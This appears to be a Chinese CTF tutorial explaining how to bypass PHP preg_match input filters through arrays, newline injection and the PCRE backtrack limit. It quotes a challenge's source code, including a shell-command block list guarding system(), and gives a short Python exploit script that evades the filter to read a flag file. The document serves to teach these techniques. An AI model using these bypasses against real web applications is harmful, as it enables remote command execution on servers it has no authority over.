preg_match函数绕过 前置知识 正则表达式 对于正则表达式的知识可以在以下链接学习一下
preg_match函数 preg_match 函数用于执行一个正则表达式匹配。
他的定义是这样的
1 2 int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
搜索 subject 与 pattern 给定的正则表达式的一个匹配。
$subject是被搜索的字符串
$pattern是正则表达式
如下面的例子
1 2 3 4 5 6 7 8 <?php if (preg_match ("/php/i" , "PHP is the web scripting language of choice." )) { echo "查找到匹配的字符串 php。" ; } else { echo "未发现匹配的字符串 php。" ; }?>
结果为:查找到匹配的字符串 php。
php手册告诉我们,preg_match函数一共会返回三类值,分别是1,0,false,那么当preg_math报错的时候就会返回false
绕过方法 数组绕过 由于preg_match函数只能出来字符串,所以传入的subject是数组的话就会返回false,但是如果后面的代码会转换字符串的话那么数组绕过就不行了
多行绕过(\n,%0A) 由于preg_match函数只能匹配一行的字符串所以我们可以用\n或者%0A来绕过
1 2 3 4 if (preg_match ('/^.*(flag).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; }
.不会匹配换行符所以我们可以这样来绕过
1 2 3 4 if (preg_match ('/^flag$/' , $_GET ['a' ]) && $_GET ['a' ] !== 'flag' ) { echo $flag ; }
$符不会匹配末尾的%0A所以我们可以这样绕过
$json=”flag%0a”
PCRE回溯次数限制 这个方法来自p🐂的文章: https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html#0x04-pcre
preg_match函数他的回溯规则如下(借用一下p🐂的图)
这个函数有一个最大回溯次数100万次,只要我们传的字符串超过100万的长度,那么就会返回false,从而绕过
比如buu里面的一道题,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php putenv ('PATH=/home/rceservice/jail' );if (isset ($_REQUEST ['cmd' ])) { $json = $_REQUEST ['cmd' ]; if (!is_string ($json )) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match ('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode ($json , true )['cmd' ]; if ($cmd !== NULL ) { system ($cmd ); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } }?>
我们写的脚本如下
1 2 3 4 5 import requests payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a" *(1000000 ) + '"}' res = requests.post("url" , data={"cmd" :payload})print (res.text)